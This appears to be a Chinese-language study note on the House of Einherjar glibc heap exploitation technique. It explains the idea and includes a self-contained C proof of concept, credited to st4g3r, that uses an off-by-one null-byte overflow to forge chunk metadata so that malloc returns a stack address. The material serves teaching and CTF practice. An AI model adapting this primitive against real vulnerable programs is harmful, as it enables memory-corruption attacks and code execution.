House of Einherjar
glibc-2.23
构造一个fake chunk,很大的fake chunk。有多大了?可以从heap到stack,或者从stack到heap,对于用unsigned整型表示chunk大小的机器来说,size是正数还是负数无关紧要。
在释放一块chunk时,如果地址相邻的另一块空间也空闲,则会合并这两块chunk。
我们可以利用这个要被释放的chunk的前一块chunk的off by one漏洞修改这个要被释放的chunk的prev size和prev in use,那么我们就可以合并都任何我们想要到的地方。
如果那个地方距离这个块的地址很远,那么我们只能伪装这个块是large bin chunk。
比如所我们想分配到下面这一个伪造的chunk所在的栈空间:
fake_chunk[0] = 0x100; // ~~prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size~~
fake_chunk[1] = 0x100; // ~~size of the chunk just needs to be small enough to stay in the small bin~~
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; // fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; // bck_nextsize
如上面所示,这个chunk我们必须能够设置每一个字节以绕过检测。
假设下面这个chunk a有off by one漏洞可以利用:
a = (uint8_t*) malloc(0x38);
int real_a_size = malloc_usable_size(a);
我们可以修改以之相邻的下一块chunk的prev size和prev in use位来得到欺骗consolidate相关的函数
这个是我们即将释放掉的chunk:
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
伪造前面的chunk的大小,以达到合并到很遥远的地方:
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
更改fake chunk中的size字段以绕过验证
fake_chunk[1] = fake_size;
分配到伪造的chunk,在栈区域。
d = malloc(0x200);
注:free调用的consolidate相关的函数最多合并一前一后的chunk与刚释放的chunk,因为glibc必须总是假设更多相邻的chunks被更早地合并了。
glibc-2.27
2.27的house of einherjar和2.23没有本质上的不同,可以说基本上是一样的思路。需要在 2.27上使用house of einherjar的条件是关键tcache选项(等于没话)或者分配的chunk大于0x410使其不能放入tcachebin中。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to House of Einherjar!\\n");
printf("Tested in Ubuntu 18.04.4 64bit.\\n");
printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n");
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf("\\nWe allocate 0x38 bytes for 'a'\\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\\n", real_a_size);
// create a fake chunk
printf("\\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; ~~// prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size~~
fake_chunk[1] = 0x100; ~~// size of the chunk just needs to be small enough to stay in the small bin~~
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
printf("Our fake chunk at %p looks like:\\n", fake_chunk);
printf("prev_size (not used): %#lx\\n", fake_chunk[0]);
printf("size: %#lx\\n", fake_chunk[1]);
printf("fwd: %#lx\\n", fake_chunk[2]);
printf("bck: %#lx\\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\\n", fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x4f8);
int real_b_size = malloc_usable_size(b);
printf("\\nWe allocate 0x4f8 bytes for 'b'.\\n");
printf("b: %p\\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\\nb.size: %#lx\\n", *b_size_ptr);
printf("b.size is: (0x500) | prev_inuse = 0x501\\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\\n");
/* VULNERABILITY */
a[real_a_size] = 0;
/* VULNERABILITY */
printf("b.size: %#lx\\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\\n");
// Write a fake prev_size to the end of a
printf("\\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
printf("\\nModify fake chunk's size to reflect b's new prev_size\\n");
fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n", fake_chunk[1]);
printf("\\nNow we can call malloc() and it will begin in our fake chunk\\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\\n", d);
assert((long)d == (long)&fake_chunk[2]);
}
意到最后我们还是要修改fake chunk的size字段为fake size的